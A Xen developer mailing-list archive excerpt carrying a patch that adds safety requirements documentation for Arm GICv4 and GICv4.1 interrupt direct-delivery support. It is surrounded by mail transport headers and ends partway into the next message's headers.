X-MS-Office365-Filtering-Correlation-Id: 883cdd68-e1ab-4f0f-8260-08dee3d2b5b8
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|18002099003|22082099003|3023799007|10067099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	9pR8ZLgg7KMHD+YgPDqsCiLbmMs5mHFAPq/Zc4t8ULLL+UB04B731vANgD2LWpVoO0KjgE2UeHpmjpUqaKEpp8q04pkSJHZn4rOLSBXgLGVsqq1NMO/iAG23Qsx3AmoafemuxESx5RiKHKNWPNZsbE2WdBxsGKhLDXNCWfc3EWv3gFbq0b3PrxAJ/1DAys1NTcC9mkSk8l5e50sse1q/2eQ7xw8twaZ1CNZ5glY3NArwOH6M1aWoImRSy8B+YgUD/RE6x36hxHPR5wJcytSrI1sWTxFD8x77Ph9r+rG4rmBSjhZPcSucbnBc4hCj/O20FSmtSmU+LAtz8GDRPLhOZmuvtyh7+gUK7Giahp41J0xnvZFsYcEiYovwp/Oj0rhGnjRX7AJmCW7yr7dlhVZdQqe8hOYG7cJHvIAWtXMvDFdlNYzjUb2c87yNmMAn+RBhcJQ2TIYlnFG0yNK+7mi5/MsNvAlC4IGDikf1PYdpcO/fGpRCDqvT7eUEafXWg9dwlPGOyX9Q1W45WQ2Jq0BZbppx8VbXPPZeJzGrdhEXKlP4plwaUSztSXWZhmk8mPFwY9TngGYaUjddt8dkEo6ejMIBOqasy/xRRoVL9xlLJpCiJs7hDBfHhiIJPxH40nY3PVxTq+ARQBs+71CKFfMR6g3gQbxLBE9puvXxqAyI4QE=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(18002099003)(22082099003)(3023799007)(10067099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?tsJvBHiBAK3ICPqOAPxsMwFmWTylcz49y0ALc+B0n3XkcxtctFWMEzfdf2/7?=
 =?us-ascii?Q?FaM5wUQohl1yaLP6J4De4HYX/3ayRxDXMI0DRfrLBC54GoerjFqINShSGv2B?=
 =?us-ascii?Q?KdHvK0RDyUsBgGnDqKt6vG4NOl9Rdhq7t1N1cNxl/7slC1NQMgSFgFJJ+FYP?=
 =?us-ascii?Q?arSjzfvIlqnAk9L2eFJBp0474Sb/++joFOMHfh7pSsvpELyc5U+Y2MiUdZn7?=
 =?us-ascii?Q?PiqaV0WkumFRIG5vkwHDSN0xamQnBTqa905JDmLIDV5ZLw1iRN/hrIylL3Jm?=
 =?us-ascii?Q?xB7eRPOxBEH8pMdpsE8RFFl9XAvC8cMVzDUOZndhg2Sp5Xlm4s+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Q?qKjL+b1mpTMPLnQWAAIKEONfC0+SK8+V5VS9oid4RQUyOcq7a7Z9yp2aYtBP?=
 =?us-ascii?Q?bGKPh3+xGs6mHaSThjPiEfDNgvdE0IVPmsAjV2Eq07Vj/2zm1ClbYX8XNhCw?=
 =?us-ascii?Q?0UeKDyqS+gdP1eoYZxW8CXkmqdIYHJl4LJTPXGinZ76HelLa/6Z+xqBVKou0?=
 =?us-ascii?Q?SpF9DNkpr7VpgjO8BxWlIWXCx8KFfZgwXS8AlOGPFbNiFQ0YxHRICmPGo5mz?=
 =?us-ascii?Q?g1HUFlDXqUqOUpn77xn5vTaxqW6cal0eg2SM+jLW76cwdUtqi9+rGSYFGQ+y?=
 =?us-ascii?Q?tWR3ZJIcCkcSxeZytD54BpR1fe/pevlwUDU7/FKbB4jVTvFz1beLLltbg+b8?=
 =?us-ascii?Q?L9TOQasQTDE3BXwU81QR98BsFXCvQY56rxMh961xI8Eu/BHt8iWTtcw7pef6?=
 =?us-ascii?Q?oycTv/8g0PESToDTvRi5qXgQD5KZlnjAiS1e+FGThl4Rm9yJEpqfgSc+RP+G?=
 =?us-ascii?Q?oNqAaxT2LYQNPjdpvm1VYD/8QQPZXv7EPdCGebQ4kbC/g+Xw/iCQrMAMu3TH?=
 =?us-ascii?Q?XPeo5mBXhg=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 883cdd68-e1ab-4f0f-8260-08dee3d2b5b8
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 07:12:06.6446
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: H5F4VdULB19WUekUony4ySBbaczQQu2xw2zd4vLHujEM3lQLgjiGJlgkBtGv6VYZB+oQjeBH8mbs4+D9QZBj6A==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7985
X-purgate-ID: tlsNG-d25034/1784272328-5290EA5B-50CEFA32/0/0
X-purgate-type: clean
X-purgate-size: 24105

Add software requirements for Xen's Arm GICv4 and GICv4.1 direct-delivery
support.

The host GICv4 requirements cover backend state such as vPE lifetime,
residency, doorbells, direct vLPI mappings and GICv4 ITS command handling.

The vGIC direct-delivery requirements cover guest-visible direct SGI
capability, request control and direct-vSGI state handling.

These requirements do not expose GICv4 as a guest interrupt-controller
architecture and do not replace the existing GICv3, ITS, vITS or common
interrupt-management requirements.

Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
 .../arm64/index.rst                           |   1 +
 .../arm64/vgic_direct_delivery.rst            | 166 ++++++
 .../physical_resources/arm64/gicv4.rst        | 515 ++++++++++++++++++
 .../physical_resources/arm64/index.rst        |   1 +
 4 files changed, 683 insertions(+)
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/vgic_direct_delivery.rst
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv4.rst

diff --git a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/index.rst b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/index.rst
index 7896770..9d83bbf 100644
--- a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/index.rst
+++ b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/index.rst
@@ -10,4 +10,5 @@ Arm64
    gicv3
    its
    tee
+   vgic_direct_delivery
    viommu
diff --git a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/vgic_direct_delivery.rst b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/vgic_direct_delivery.rst
new file mode 100644
index 0000000..dc364b1
--- /dev/null
+++ b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/vgic_direct_delivery.rst
@@ -0,0 +1,166 @@
+.. SPDX-License-Identifier: CC-BY-4.0
+
+vGIC direct-delivery requirements
+=================================
+
+The following requirements define guest-visible vGIC behavior that can be backed
+by GICv4 direct-delivery mechanisms [1].
+
+These requirements do not expose GICv4 as a guest interrupt-controller
+architecture. GICv4 remains a Xen backend used to implement selected
+guest-visible vGIC behavior when the required host capabilities are available.
+
+Direct vSGI backend selection
+-----------------------------
+
+`XenSSR~arm64_gicv4_direct_vsgi_backend_selection~1`
+
+Description:
+Xen shall enable a direct-vSGI backend for a selected domain only when the
+domain uses the virtual GICv3 model, the GICv4 vLPI backend is available, a
+GICv4.1 host ITS is available, and the selected domain has initialized
+per-domain GICv4 direct-delivery state.
+
+Rationale:
+Direct vSGI delivery requires GICv4.1 support and vPE state. Enabling the
+backend without the required host capabilities would expose a direct delivery
+mode that Xen cannot safely provide.
+
+Covers:
+ - `XenPRQ~intc~1`
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest direct SGI capability exposure
+------------------------------------
+
+`XenSSR~arm64_gicv4_direct_vsgi_cap_exposure~1`
+
+Description:
+Xen shall derive the guest-visible ``GICD_TYPER2.nASSGIcap`` capability from
+direct-vSGI backend availability for the selected domain.
+
+Rationale:
+``GICD_TYPER2.nASSGIcap`` is a guest-visible virtual Distributor capability. A
+guest uses this field to determine whether it may request the direct SGI
+active-state model through ``GICD_CTLR.nASSGIreq``. Xen derives this capability
+from the virtual GICv3 domain model and the GICv4.1 direct-vSGI backend
+available for that domain.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest direct SGI active-state request control
+---------------------------------------------
+
+`XenSSR~arm64_gicv4_direct_vsgi_active_state_request_control~1`
+
+Description:
+Xen shall accept a guest direct SGI active-state request through
+``GICD_CTLR.nASSGIreq`` only when ``GICD_TYPER2.nASSGIcap`` is exposed for the
+selected domain.
+
+Rationale:
+``GICD_CTLR.nASSGIreq`` is the guest-visible control that selects the SGI
+active-state model when direct SGI capability is exposed. Xen uses this control
+to switch the domain between software-emulated SGI delivery and direct-vSGI
+delivery while preserving the guest-visible virtual GIC state.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vSGI configuration source
+--------------------------------
+
+`XenSSR~arm64_gicv4_direct_vsgi_conf_source~1`
+
+Description:
+Xen shall derive direct-vSGI hardware configuration from the authoritative
+guest-visible virtual GIC software state.
+
+Rationale:
+Direct-vSGI hardware state is a delivery backend, not the guest-visible GIC
+model. Xen needs guest register readback, software/direct mode switching and
+partial configuration updates to observe one coherent SGI model for enable,
+priority, group and pending-state semantics.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vSGI pending-state preservation
+--------------------------------------
+
+`XenSSR~arm64_gicv4_direct_vsgi_pending_state_preservation~1`
+
+Description:
+Xen shall preserve guest-visible SGI pending state when switching a vCPU
+between software-emulated SGI delivery and direct-vSGI delivery.
+
+Rationale:
+SGIs are used for inter-vCPU communication. Losing pending state can hang a
+guest, while duplicating pending state can break guest synchronization
+assumptions. When leaving direct-vSGI mode, Xen needs completed hardware
+pending-state information before reinjecting pending SGIs into the software
+vGIC model.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vSGI pending-state readback
+----------------------------------
+
+`XenSSR~arm64_gicv4_direct_vsgi_pending_state_readback~1`
+
+Description:
+Xen shall consume direct-vSGI pending-state readback only after the
+Redistributor reports that the query has completed and the queried vPEID and
+Redistributor are still the serialized target of the query.
+
+Rationale:
+Direct-vSGI pending-state readback observes Redistributor-side state indexed by
+vPEID. Consuming a busy, stale or ambiguously targeted readback can lose a
+pending vSGI, inject a spurious or duplicate vSGI, or transfer pending state
+from the wrong vPE.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vSGI send mediation
+--------------------------
+
+`XenSSR~arm64_gicv4_direct_vsgi_send_mediation~1`
+
+Description:
+Xen shall mediate guest SGI generation through the selected domain's virtual
+CPU topology before issuing any direct-vSGI hardware operation.
+
+Rationale:
+Guest SGI generation contains guest-controlled affinity, target-list, group and
+SGI INTID fields. Xen translates those fields through the domain's virtual CPU
+topology and issues direct-vSGI operations only for vPEIDs owned by the sending
+domain and selected by that topology.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+| [1] Arm Generic Interrupt Controller Architecture Specification (GIC architecture version 3 and version 4)
diff --git a/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv4.rst b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv4.rst
new file mode 100644
index 0000000..8224a5c
--- /dev/null
+++ b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv4.rst
@@ -0,0 +1,515 @@
+.. SPDX-License-Identifier: CC-BY-4.0
+
+Host GICv4 requirements
+=======================
+
+The following requirements are related to Xen's host-side support for the
+Arm Generic Interrupt Controller version 4 (GICv4) architecture [1].
+
+The GICv4 requirements describe Xen's direct-delivery backend state. In the
+current vITS command path, guest ITS commands are exposed to the hardware
+domain.
+
+
+GICv4 direct-delivery backend selection
+---------------------------------------
+
+`XenSSR~arm64_gicv4_direct_delivery_backend_selection~1`
+
+Description:
+Xen shall use a GICv4 direct-delivery backend only when the required host ITS
+and Redistributor capabilities are available for the selected domain, vPE or
+device-event mapping.
+
+Rationale:
+GICv4 direct delivery is a Xen backend choice. A vPE can become resident on
+different Redistributors during execution, and a device event is programmed
+through the host ITS associated with the physical DeviceID and EventID. Using a
+direct-delivery backend when a required host component lacks the corresponding
+capability can make interrupt delivery depend on unsupported runtime placement
+or unsupported ITS command semantics.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+GICv4 ITS virtual command capability gating
+-------------------------------------------
+
+`XenSSR~arm64_gicv4_its_virtual_command_capability_gating~1`
+
+Description:
+Xen shall issue GICv4 ITS virtual interrupt commands only through a host ITS
+that reports virtual LPI support, and shall issue GICv4.1-only commands or
+fields only through a host ITS that reports GICv4.1 support. This shall include
+use of:
+
+ - ``VMAPP``
+ - ``VMAPTI`` and ``VMAPI``
+ - ``VMOVP`` and ``VMOVI``
+ - ``VINVALL``
+ - ``VSYNC``
+ - ``VSGI``
+ - ``INVDB``
+
+Rationale:
+GICv4 virtual interrupt commands depend on host ITS virtual LPI capability.
+GICv4.1 commands and fields, including ``INVDB``, ``VSGI`` and GICv4.1
+``VMAPP`` lifetime and default-doorbell fields, are valid only on a GICv4.1
+ITS.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+GICv4 command completion
+------------------------
+
+`XenSSR~arm64_gicv4_command_completion~1`
+
+Description:
+Xen shall treat a GICv4 direct-delivery state transition as successful only
+after the required host ITS command sequence has been issued and completed
+successfully.
+
+Rationale:
+GICv4 ITS commands can create, update or remove hardware-visible virtual
+interrupt state asynchronously. If a required command cannot be issued or does
+not complete, the dependent direct-delivery state cannot be treated as
+committed.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+vPEID allocation and lifetime
+-----------------------------
+
+`XenSSR~arm64_gicv4_vpeid_allocation_and_lifetime~1`
+
+Description:
+Xen shall allocate a unique vPEID for each GICv4 vPE and shall release that
+vPEID only after the hardware-visible vPE mapping that uses it has been
+removed.
+
+Rationale:
+A vPEID indexes hardware-visible virtual interrupt state. Reusing a vPEID
+before old ITS and Redistributor references have been removed can deliver a
+virtual interrupt to stale or wrong vPE state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+vPE table entry readiness
+-------------------------
+
+`XenSSR~arm64_gicv4_vpe_table_entry_readiness~1`
+
+Description:
+Xen shall allocate and initialize host GICv4 vPE table backing storage for a
+vPEID before programming a host ITS mapping that can reference that vPEID.
+
+Rationale:
+The host ITS can use the vPEID to locate vPE table state. If the backing table
+entry or its second-level storage is missing or uninitialized, direct delivery
+can consume invalid vPE state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+GICv4.1 shared vPE table common-affinity sharing
+------------------------------------------------
+
+`XenSSR~arm64_gicv4_1_shared_vpe_table_common_affinity_sharing~1`
+
+Description:
+Xen shall share a GICv4.1 vPE table between host ITS or Redistributor
+components only when their computed common LPI affinity matches.
+
+Rationale:
+A shared vPE table can be consumed by multiple Redistributors or ITS
+instances. Sharing outside the compatible common-LPI-affinity scope can make
+different GIC components consume different vPE configuration state for the same
+vPEID.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+GICv4.1 VMAPP lifetime
+----------------------
+
+`XenSSR~arm64_gicv4_1_vmapp_lifetime~1`
+
+Description:
+Xen shall encode GICv4.1 ``VMAPP`` lifetime state according to the
+architectural lifetime of each vPEID mapping.
+
+Rationale:
+In GICv4.1, ``VMAPP`` lifetime fields identify first-map and last-unmap
+operations for virtual pending and configuration table state. Incorrect
+lifetime programming can leave the interrupt routing infrastructure accessing
+stale vPE table, virtual pending table or virtual configuration table state
+after Xen has removed the software owner.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+vPE publication after initialization
+------------------------------------
+
+`XenSSR~arm64_gicv4_vpe_publication_after_initialization~1`
+
+Description:
+Xen shall make a GICv4 vPE available to direct-vLPI, doorbell and direct-vSGI
+paths only after the vPEID, virtual pending table, vPE table entry, host
+VMAPP mappings and doorbell state required for that vPE have been
+initialized successfully.
+
+Rationale:
+A published vPE can be used by direct-vLPI, doorbell and direct-vSGI paths.
+Making the vPE available before required backing state is ready can allow later
+direct-delivery operations to consume partial or invalid vPE state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Single vPE residency
+--------------------
+
+`XenSSR~arm64_gicv4_single_vpe_residency~1`
+
+Description:
+Xen shall keep each GICv4 vPE resident on at most one Redistributor at any
+time.
+
+Rationale:
+A vPE represents one hardware-visible virtual CPU interrupt context. Making the
+same vPE resident on more than one Redistributor can cause duplicate delivery,
+cross-CPU delivery or ambiguous ownership of pending virtual interrupt state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+vPE residency synchronization
+-----------------------------
+
+`XenSSR~arm64_gicv4_vpe_residency_synchronization~1`
+
+Description:
+Xen shall rely on a vPE residency transition only after the architectural
+completion state for that transition has been observed.
+
+Rationale:
+The Redistributor can update or consume virtual pending state asynchronously
+during vPE residency transitions. Reusing a Redistributor, reusing vPE pending
+state, or freeing old vPE resources before synchronization can lose pending
+virtual interrupts, duplicate virtual interrupts, corrupt the wrong pending
+table, or make doorbell decisions from stale state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+vPE movement serialization
+--------------------------
+
+`XenSSR~arm64_gicv4_vpe_movement_serialization~1`
+
+Description:
+Xen shall serialize vPE movement with GICv4 operations that depend on the
+vPE's current Redistributor target.
+
+Rationale:
+vPE movement changes the Redistributor that owns the vPE. Register-based
+invalidation, doorbell handling, virtual LPI operations and direct-vSGI
+pending-state readback can target Redistributor-resident state. Issuing such
+operations against a stale Redistributor can leave cached state unchanged or
+operate on the wrong state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Doorbell LPI ownership
+----------------------
+
+`XenSSR~arm64_gicv4_doorbell_lpi_ownership~1`
+
+Description:
+Xen shall reserve physical LPIs used as GICv4 doorbells for Xen use and shall
+associate each doorbell with the owning domain and vCPU.
+
+Rationale:
+Doorbells are hypervisor wakeup signals for non-resident vPEs. Guest ownership
+or reuse of a doorbell LPI can suppress, spoof or misroute hypervisor wakeups.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Doorbell invalidation and readiness
+-----------------------------------
+
+`XenSSR~arm64_gicv4_doorbell_invalidation_and_readiness~1`
+
+Description:
+Xen shall update and invalidate GICv4 doorbell state through the
+architecture-supported backend path before relying on the updated doorbell
+state.
+
+Rationale:
+Doorbell state can be cached by the GIC. Xen uses GICv4.1 ``INVDB``,
+Redistributor register invalidation, or a proxy-device invalidation path
+depending on the selected backend.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Doorbell LPI observation
+------------------------
+
+`XenSSR~arm64_gicv4_doorbell_lpi_observation~1`
+
+Description:
+Xen shall mark the vPE as having pending virtual interrupt work and kick
+the owning vCPU when Xen receives a GICv4 doorbell LPI for a non-resident vPE.
+
+Rationale:
+A doorbell is a hypervisor wakeup signal for a non-resident vPE. Marking the
+vPE pending state and kicking the vCPU makes the wakeup visible to Xen's
+scheduler.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+GICv4.1 non-resident pending-state indication
+---------------------------------------------
+
+`XenSSR~arm64_gicv4_1_non_resident_pending_state_indication~1`
+
+Description:
+Xen shall record the architectural ``PendingLast`` indication reported by
+``GICR_VPENDBASER`` before relying on the vPE non-resident state when making
+a GICv4.1 vPE non-resident
+
+Rationale:
+``PendingLast`` reports whether pending enabled virtual interrupts remain after
+the non-resident transition. Xen uses this state as part of its scheduling and
+wakeup handling for the vPE.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vLPI mapping ownership
+-----------------------------
+
+`XenSSR~arm64_gicv4_direct_vlpi_mapping_ownership~1`
+
+Description:
+Xen shall install a hardware-forwarded vLPI mapping only when the target
+virtual INTID is valid for the selected domain and the mapping has one
+domain/device/event/vPE/vINTID owner.
+
+Rationale:
+GICv4 virtual LPI mappings are keyed by device events and vPE state. Reusing a
+DeviceID/EventID mapping, aliasing vPEID/vINTID ownership, or using an
+out-of-range virtual INTID can cause wrong-owner delivery, duplicate delivery,
+missed invalidation or constrained unpredictable GIC behaviour.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vLPI setup recovery
+--------------------------
+
+`XenSSR~arm64_gicv4_direct_vlpi_setup_recovery~1`
+
+Description:
+Xen shall restore the previous safe host LPI mapping or otherwise keep the
+event unavailable when a direct vLPI setup operation fails after the previous
+mapping has been removed.
+
+Rationale:
+Direct vLPI setup can discard the previous mapping before ``VMAPTI`` succeeds.
+If ``VMAPTI`` fails and the event is left without a safe mapping, subsequent
+device events can be lost or delivered through stale state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vLPI unmap ordering
+--------------------------
+
+`XenSSR~arm64_gicv4_direct_vlpi_unmap_ordering~1`
+
+Description:
+Xen shall remove a direct vLPI mapping, restore the host physical LPI mapping,
+invalidate the affected event state and then release the software vLPI mapping
+state.
+
+Rationale:
+A mapped event can remain visible to the host ITS and Redistributor until the
+hardware mapping and cached state have been updated. Releasing software mapping
+state before restoring and invalidating the host mapping can leave hardware
+delivery targeting stale domain state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vLPI movement
+--------------------
+
+`XenSSR~arm64_gicv4_direct_vlpi_movement~1`
+
+Description:
+Xen shall move a direct vLPI mapping to another vPE using the GICv4 virtual
+movement operation and shall synchronize the old vPE before relying on a later
+movement of the same event.
+
+Rationale:
+GICv4 movement updates the vPEID associated with the event and can move
+pending state. The architecture requires synchronization between repeated moves
+of the same virtual interrupt to prevent pending-state loss or delivery to the
+old vPE.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vLPI property update
+---------------------------
+
+`XenSSR~arm64_gicv4_direct_vlpi_property_update~1`
+
+Description:
+Xen shall update the virtual LPI property table and perform the required
+direct-delivery invalidation before relying on updated virtual LPI enable or
+priority state.
+
+Rationale:
+The GIC can cache virtual LPI property state. Updating the virtual property
+table without completing the corresponding invalidation can make direct
+delivery use stale enable or priority state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Direct vLPI doorbell update
+---------------------------
+
+`XenSSR~arm64_gicv4_direct_vlpi_doorbell_update~1`
+
+Description:
+Xen shall update the doorbell setting for an existing direct vLPI mapping using
+a GICv4 movement operation that preserves the existing event mapping.
+
+Rationale:
+Re-issuing a mapping command for an already mapped DeviceID and EventID has
+unpredictable architectural behaviour. Xen changes the doorbell association for
+an existing mapping through a virtual movement operation targeting the same
+vPE.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+vLPI invalidation
+-----------------
+
+`XenSSR~arm64_gicv4_vlpi_invalidation~1`
+
+Description:
+Xen shall perform GICv4 virtual interrupt invalidation through the
+architecture-supported path for the affected event or vPE and shall wait for
+completion before relying on the invalidated state.
+
+Rationale:
+GICv4 virtual interrupt state can be cached in Redistributors or ITS-visible
+state. Xen uses ITS virtual invalidation, GICv4.1 register invalidation or
+proxy invalidation according to backend capability. Relying on updated virtual
+interrupt state before invalidation completion can preserve stale delivery
+state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+vPE teardown ordering
+---------------------
+
+`XenSSR~arm64_gicv4_vpe_teardown_ordering~1`
+
+Description:
+Xen shall unmap a vPE from every host ITS that can reference the vPE before
+freeing the vPEID or virtual pending table used by that vPE.
+
+Rationale:
+A host ITS can retain hardware-visible references to vPEID and virtual pending
+table state until the corresponding ``VMAPP`` unmap operation has completed.
+Freeing the vPEID or virtual pending table before the vPE has been unmapped
+can create stale hardware-visible references.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+| [1] Arm Generic Interrupt Controller Architecture Specification (GIC architecture version 3 and version 4)
diff --git a/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst
index cd1aaca..da8cd1e 100644
--- a/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst
+++ b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst
@@ -7,6 +7,7 @@ Arm64
    :maxdepth: 1
 
    gicv3
+   gicv4
    its
    p2m
    pci_host_rcar
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:17:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:17:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364757.1615756 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcoy-0000Ys-Hh; Fri, 17 Jul 2026 07:17:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364757.1615756; Fri, 17 Jul 2026 07:17:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcoy-0000Yk-Ea; Fri, 17 Jul 2026 07:17:20 +0000
Received: by outflank-mailman (input) for mailman id 1364757;
 Fri, 17 Jul 2026 07:17:19 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <xakep.amatop@gmail.com>) id 1wkcox-0000Ye-FE
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:17:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcow-00H1cV-HK
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:17:18 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <xakep.amatop@gmail.com>)
 id 6a59d6ef-bab6-0a2a0a5309dd-0a2a4502abb8-42
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:17:18 +0200
Received: from [209.85.167.44] (helo=mail-lf1-f44.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <xakep.amatop@gmail.com>)
 id 6a59d6fc-6ca4-0a2a45020019-d155a72cb0af-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:17:17 +0200
Received: by mail-lf1-f44.google.com with SMTP id
 2adb3069b0e04-5b14d1f9315so5984457e87.2
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 00:17:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784272636; cv=none;
        d=google.com; s=arc-20260327;
        b=J5RrL4RybJkffu+/gWX59Oyp3okJHoQA3lfrrMWUOuf5YH5CKy9aFt+U0LIXsBSGwv
         0PUDG9rehBKxSuwNdBswJACK8MCLjnS/YRmvZlsnarAoKFd1ynWS+dTTfzs9TjagV75Q
         Vx93iodet6yZdYIpB8P5kdKAxt1PnQsTjS1+vcBxTF6+U0b+92kLJiRx2eOrbbEonD9E
         4I+tUZi+Ty2Il2tN8wXHZW5xvhnwPswtPstdZGBUXVokTFvEMpkj5x645HAYaHdzoBqv
